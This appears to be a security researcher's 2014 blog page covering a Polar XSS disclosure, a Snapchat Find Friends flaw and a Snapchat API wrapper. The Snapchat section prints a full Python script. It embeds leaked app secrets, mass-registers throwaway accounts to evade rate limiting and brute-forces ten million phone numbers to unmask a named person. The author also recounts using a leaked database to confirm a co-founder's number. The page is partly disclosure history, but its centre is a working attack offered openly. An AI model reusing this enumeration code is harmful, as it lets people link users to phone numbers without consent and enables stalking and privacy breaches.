Polar XSS

Thanks

To the Polar team, specifically Jeff Cole and Winfield Peterson, for handling this problem, albeit a small one, very quickly.

Timeline

March 12, 2014 - Found and reported persistent XSS vulnerability to Polar. The vulnerability was found in various account attributes, including location and “custom vote color”. Additionally, it was present in the question and option attributes of polls, but not in poll comments. Session cookies are httpOnlyso without Cross-Site Tracing, which is blocked by modern browsers, they can’t be stolen.

March 13, 2014 - Vulnerability identified as flaw in their open-source Ruby gem for handling emojis, fittingly called Emoji. Fixed.

Snapchat Phone Number Lookup

Update No. 2

Timeline has been updated with the following information (in chronological order):

  • My failed Snapchat interview, which chronologically came before any of this broke news and was well facilitated by Bobby
  • Snapchat implementation of an obscure, fun, and easily broken CAPTCHA, dubbed “Snapt-cha”
  • My successful creation of a Snapt-cha “liberation” script

Update No. 1

Server-checked CAPTCHAs have been rolled out and Snapchat is currently looking for holes in their implementation. I will publish holes here if I find any.

The Android update that I mentioned had created “more security issues than it had solved” may have never been rolled out officially (Bobby doesn’t seem to recall it), but I do recall mention of it from Bobby or one of Snapchat’s software engineers.

If you are looking to contact me, please reach out over over Twitter or shoot an email to my bulk inbox: gman98[at]me[dot]com.

Donate

Donate Bitcoins
In addition to a couple of bucks, I spent a lot of time and effort on this. Please consider donating to me, along with the following people who inspired me:

Rate Limiting Workaround (“Patched”)

from hashlib import sha256
import json
import random
import requests
import string
import time

SECRET = b'iEk21fuwZApXlz93750dmW22pw389dPwOk'
STATIC_TOKEN = 'm198sOkJEn37DjqZ32lpRu76xmw288xSQ9'
HASH_PATTERN = '0001110111101110001111010101111011010001001110011000110001000110'

def timestamp():
    return int(round(time.time() * 1000))

def hash256(var1, var2):
    h1 = sha256(SECRET + var1.encode('utf-8')).hexdigest()
    h2 = sha256(var2.encode('utf-8') + SECRET).hexdigest()
    result = ''
    for i in range(0, len(h1)):
        result += h2[i] if HASH_PATTERN[i] is "1" else h1[i]
    return result

def req_token(auth_token):
    return hash256(auth_token, str(timestamp()))

def register(email, password, birthday, time_zone='US/Pacific'):
    data = {'email': email,
            'password': password,
            'birthday': birthday,
            'timestamp': timestamp(),
            'req_token': req_token(STATIC_TOKEN),
            'time_zone': time_zone}
    req = requests.post('https://feelinsonice-hrd.appspot.com/bq/register', data)
    return req

def register_username(username, email):
    data = {'username': username,
            'email': email,
            'timestamp': timestamp(),
            'req_token': req_token(STATIC_TOKEN)}
    req = requests.post('https://feelinsonice-hrd.appspot.com/bq/registeru', data)
    return req

def random_user(length=15):
    # Random username/email generator
    username = ''.join( [random.choice(string.ascii_letters) for i in range(length)] )
    email = username + '@snapchat.com'
    # Must satisfy password requirements
    req = register(email, 'abcdefgh', '1337-11-11', 'US/Chicago')
    req2 = register_username(username, email)
    # Make sure registration requests go through
    time.sleep(0.05)
    return req2

def find_friend(username, auth_token, name, number, country_code='US'):
    #print(new_user.text)
    data = {'username': username,
            'timestamp': timestamp(),
            'req_token': req_token(auth_token),
            'countryCode': country_code}
    n = json.dumps({number: name})
    data = dict(data, numbers=n)
    req = requests.post('https://feelinsonice-hrd.appspot.com/bq/find_friends', data=data, headers={'User-Agent': None})
    return req

def search(name, out, start, stop):
    with open(out, 'w') as f:
        for number in range(start, stop):
            # New user for each iteration to circumvent rate-limiting
            new_user = random_user()
            while 'auth_token' not in new_user.text:
                new_user = random_user()
            req = find_friend(new_user.json()['username'], new_user.json()['auth_token'], name, number)
            f.write(str(dict(number=number, result=req.text)))

search('Evan Spiegel', 'numbers.txt', 3100000000, 3110000000)

Timeline

December 25, 2013 - Gibsonsec releases Snapchat docs, including details of vulnerability in Find Friends feature

December 27, 2013 – Snapchat issues statement saying they made fixes to the vulnerability, but they didn’t

December 31, 2013 – snapchatdb.info releases database of 4.6M usernames associated with their phone numbers

January 2, 2014 – Snapchat issues statement about snapchatdb.info says they are welcome to security tips. In the statement, they said the following:

We will be releasing an updated version of the Snapchat application that will allow Snapchatters to opt out of appearing in Find Friends after they have verified their phone number. We’re also improving rate limiting and other restrictions to address future attempts to abuse our service.

January 3, 2014 (10:45PM PST) - I reached out to Snapchat because of a flaw that left Find Friends vulnerable in spite of rate limiting and other quick-fixes they made

January 3, 2014 (11:38PM PST) - Micah Schaffer replies on behalf of Snapchat, “willing” to work on fixing the problem

January 7, 2014 - After several days of radio silence from Snapchat and no clear signs that they were working on a fix, I decided to take the matters into my own hands. I found Bobby Murphy (Co-Founder @ Snapchat) in the database released by snapchatdb.info, his number appearing with a simple query for the username bobby. Doubtful that Snapchat was working on a fix, I used the vulnerability to confirm the last two digits of his phone number in a matter of seconds. The response received was as follows:

 [{'display': 'Bobby Murphy', 'type': 1, 'name': 'bobby'}]

January 7, 2014 (3:39PM PST) – I decided to call Bobby, only to receive his voicemail. I texted him. Hey Bobby. He texted back. Who is this? So I filled him in on the details and was told to send him an email and he’d see what he could do.

January 10, 2014 (2:00PM PST) – I had an interview at Snapchat for a position as software engineer. This was for an open position and I was competing against college students, mostly junior-year CS majors (probably) from top-tier schools. I had this interview thanks to Bobby, but I completely wasted the time of their poor Android engineer, Nic. When it came to the programming challenge, all I had to do was validate a Sudoku board, which was stored in a 2D array. The challenge was quite simple, in fact, I had solved it before in the past. However, I had never interviewed for a job before, let alone done a programming interview. I cracked under pressure. Wasted both of our time. Yet somehow, as soon as our Google Hangout ended, I was able to solve that programming challenge in under five minutes. Overall, the process was a good experience because I learned a little about myself and about programming interviews.

January 13, 2014  – I began looking into Snapchat’s  ”updated version of the Snapchat application that will allow Snapchatters to opt out of appearing in Find Friends after they have verified their phone number.” As it turns out, phone number verification is only an in-app requirement. There isn’t a single server-side check to see if your account has been validated, meaning you can programmatically use Find Friends on a brand-new account, no phone number verification required. Additionally, forcing users to verify phone numbers before using Find Friends or opting-out of Find Friends defeats the intended purpose of the validation. Therefore, if users validate without opting-out or the Snapchat database is hacked, then every user that ever validates could have their phone number compromised.

January 13, 2014 (2:57PM PST) – After texting Bobby, he acknowledged that they don’t make a server-side check.

January 17, 2014 – Snapchat begins enforcing server-side phone number validation before letting accounts use the Find Friends service.

January 17 – 20, 2014 – I worked and continue to improve an updated version of my script that uses a service called Textfree to validate phone numbers on randomly generated accounts. After the validation is complete, the account(s) are free to fire requests to Find Friends. I am not willing to share my Python script that automates this at this time because Snapchat has yet to make any changes that will fix it.

January 19, 2014 - I’m not completely positive this is the correct date, but I’ve heard that this is the date that Snapchat decidedly rolled out SNAPTCHA. SNAPTCHA is an obscure and fun version of the CAPTCHA that has users confirm they are human by selecting a photo that contains the famous Snapchat “ghost” logo.

January 20, 2014 – After making various suggestions as to how Snapchat could fix their problems, Snapchat had decided (previously) to make various fixes that were either incomplete or didn’t get the job done. One specific example being an update to their Android client, which caused more security issues than it had solved. This was, of course, because my solutions would force Snapchat to drop support of legacy clients.

January 22, 2014 - I completed my script for solving SNAPTCHA’s (see above), but I don’t plan on releasing the code for it until Snapchat has made a thorough patch and given me approval to do so.

[OFFLINE] WIP Snapchat API

After sniffing the Snapchat API with Fiddler, I was able to write this API wrapper using Python. And, with some help from PyCrypto, BottlePy, and WebFaction, I have officially deployed it as a service.

Here are the endpoints and the parameters they require:

Login:

Type: POST

URL: neuegram.webfactional.com/snapy/login

Parameters:

  • username
  • password

Returns (Identical to Unread):

  • List of Snaps (Includes Images, Video, and Friend Requests)
  • List of Friends
  • Auth_Token
  • Misc.

Signup:

Type: POST

URL: neuegram.webfactional.com/snapy/register

Parameters:

  • username
  • password
  • email
  • birthday

Returns: The basic information you need to get started!

Generate Req_Token:

Type: POST

URL: neuegram.webfactional.com/snapy/req_token

Parameters:

  • auth_token

Returns: Req_Token generated by an obscure sha256 hash of the auth_token, timestamp, and Snapchat secret

Get Image:

Type: GET

URL: neuegram.webfactional.com/snapy/image

Parameters: 

  • username
  • auth_token
  • id

Returns: Image decrypted from padded cipher text

Get Video:

Type: GET

URL: neuegram.webfactional.com/snapy/video

Parameters: 

  • username
  • auth_token
  • id

Returns: Video decrypted from padded cipher text

Send Image/Video:

Type: POST

URL: neuegram.webfactional.com/snapy/send

Parameters:

  • username
  • auth_token
  • recipients (separate with commas)
  • image/video
  • duration of visibility

Returns: Nothing if successful

Find Friend (Note: This hadn’t been added in the past because of the vulnerability which really hasn’t been patched (well), but I figured I’d throw it in here anyways. It only accepts ONE phone number as an argument though):

Type: POST

URL: neuegram.webfactional.com/snapy/find_friend

Parameters:

  • username
  • auth_token
  • name
  • phone number (as a string)

Returns: username, display name, and type: public (0) or private (1)

Web Interface:

  • neuegram.webfactional.com/snapy/

This is costing me time and money, so please consider donating or contributing to the project on GitHub so I can continue working on this project at a loss, albeit a smaller one.